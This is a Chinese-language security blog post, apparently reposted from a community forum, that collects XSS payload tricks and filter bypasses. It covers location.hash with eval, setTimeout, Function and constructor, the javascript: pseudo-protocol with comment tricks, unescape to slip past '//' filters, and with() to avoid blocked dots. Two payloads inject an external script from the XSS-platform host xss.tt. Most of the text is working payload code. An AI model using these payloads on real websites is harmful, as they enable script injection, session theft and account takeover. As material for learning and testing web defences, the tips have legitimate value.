XSS相关一些个人Tips

2019-04-24 约 70 字 预计阅读 1 分钟

声明:本文 【XSS相关一些个人Tips】 由作者 抹布 于 2019-04-24 08:56:00 首发 先知社区 曾经 浏览数 192 次

感谢 抹布 的辛苦付出!

前言


近日在看些xss相关的知识,在乌云知识库上,有篇XSS挑战第一期Writeup里面姿势很多,能力不足,有些无法复现,就把自己觉得好玩的写下来。

location


Location对象对于我们构造一些另类的xss payload有很大的帮助,例如P牛这篇文章介绍的使用编码利用location来变形我们的XSS Payload

Location


在介绍Location的属性前,我们先来了解下slice()方法。

slice() 方法可从已有的字符串中返回选定的元素。

location.hash


查阅文档。

我们关注的重点是#的作用,location对象的hash属性用于设置或取得 URL 中的锚部分。

例如我们现在的网址为http://localhost/1.html#s9mf,我们在控制台输入location.hash,则会返回我们设定的

利用这个特性,在构造xss代码时,可以把一部分payload,放置在测试语句的尾部。

例子:

<body/onload=eval(location.hash.slice(1))>#alert(1)

这里用eval执行通过location.hash获取过来的alert(1)代码,slice方法在这里的作用是截取下标为1以后的字符串元素(包括1)。如果你还是不太理解,那么我们用document.write输出到页面。

可见,slice方法在这里返回的字符串为alert(1)substr方法在这里也可以代替slice使用。

<body/onload=setTimeout(location.hash.substr(1))()>#alert(1)

这里使用的setTimeout,也可以使用constructor属性来执行代码,不过要记住加个()

Set.constructor(location.hash.substr(1))()

也可以使用execScript,不过execScript是IE浏览器独有,所以只能在IE弹,相比较下eval则是所有浏览器都支持。

<body/onload=execScript(location.hash.substr(1))>#alert(1)

使用Function匿名函数来执行尾部的代码。

<body/onload=Function(location.hash.slice(1))()>#alert(/xss/)

利用伪协议

<body/onload=eval(location.hash.slice(1))>#javascript:alert(1)

利用注释,引用伪协议后开始变得有趣。

<svg/onload=location='javascript:/*'%2blocation.hash> #*/alert(1)

更进一步。

<svg/onload=location="javascript:"%2binnerHTML%2blocation.hash>"  #"-alert(1)

unescape()


unescape()函数用于对已经使用escape()函数编码的字符串进行解码,并返回解码后的字符串。

我们引入外部url时,如果拦截//,我们可以先url编码,再解码。

例如:

<svg/onload=appendChild(createElement('script')).src=unescape('http%3A%2F%2Fxss.tt%2F1te')>

with


with语句可以方便地用来引用某个特定对象中已有的属性。使用with可以实现通过节点名称的对象调用。

如果.被拦截,我们可以尝试with

<svg/onload=with(location)with(hash)eval(alert(1))>

基于DOM的方法创建和插入节点把外部JS文件注入到网页中,也可以应用with。

<svg/onload="[1].find(function(){with(`docom'|e|'nt`);;body.appendChild(createElement('script')).src='http://xss.tt/XA'})">

参考


关键词:[‘安全技术’, ‘WEB安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now